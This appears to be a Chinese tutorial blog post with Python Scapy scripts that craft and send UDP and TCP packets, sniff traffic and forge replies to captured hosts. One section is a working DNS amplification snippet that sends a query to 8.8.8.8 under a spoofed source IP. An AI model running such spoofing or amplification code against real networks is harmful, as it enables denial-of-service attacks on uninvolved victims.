scapy模拟网络

模拟udp

#!/usr/bin/python
# -*- coding: UTF-8 -*-
from scapy import *
from scapy.all import *

data = "Hello Scapy"
pkt = IP(src='172.16.2.134', dst='172.16.2.91')/UDP(sport=12345, dport=5555)/data
send(pkt, inter=1, count=1)

模拟tcp客户端

#!/usr/bin/python
# -*- coding: UTF-8 -*-
from scapy import *
from scapy.all import *

data = "Hello Scapy"
pkt = IP(src='172.16.2.134', dst='172.16.2.91')/TCP(sport=12345, dport=5555)/data
send(pkt, inter=1, count=1)

模拟接收端

>>> receive = sniff(filter="tcp and host 172.16.2.135")
>>> receive
<Sniffed: TCP:0 UDP:0 ICMP:0 Other:0>

模拟dns放大攻击

#coding:utf-8
from scapy import *
from scapy.all import *
 
a = IP(dst='8.8.8.8',src='192.168.1.200') #192.168.1.200 为伪造的源ip
b = UDP(dport=53)
c = DNS(id=1,qr=0,opcode=0,tc=0,rd=1,qdcount=1,ancount=0,nscount=0,arcount=0)
c.qd=DNSQR(qname='www.qq.com',qtype=1,qclass=1)
p = a/b/c
send(p)

代码逻辑模拟

# encoding=utf-8

from scapy.all import *
import utils
import os

os.system("python sniff_script.py >> sniff.log")

def forge(address, port):
    """ 通过嗅探到的数据,进行伪造数据 """
    forge_data = "This is forge data."
    pkt = IP(src='172.16.2.200', dst=address)/UDP(sport=12345, dport=port)/forge_data
    send(pkt, inter=1, count=3)
    pass

sniff_file = open("sniff.log", "rb")
for data in sniff_file.readlines():
    result = utils.match(data)
    if result is not None and result[0] != '172.16.2.135':
        print(result)
        forge(result[0], int(result[1]))
        pass
    pass

sniff_script.py文件如下

# encoding=utf-8

from scapy.all import *

receive = sniff(filter="udp and host 172.16.2.135", count=100)
receive.show()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值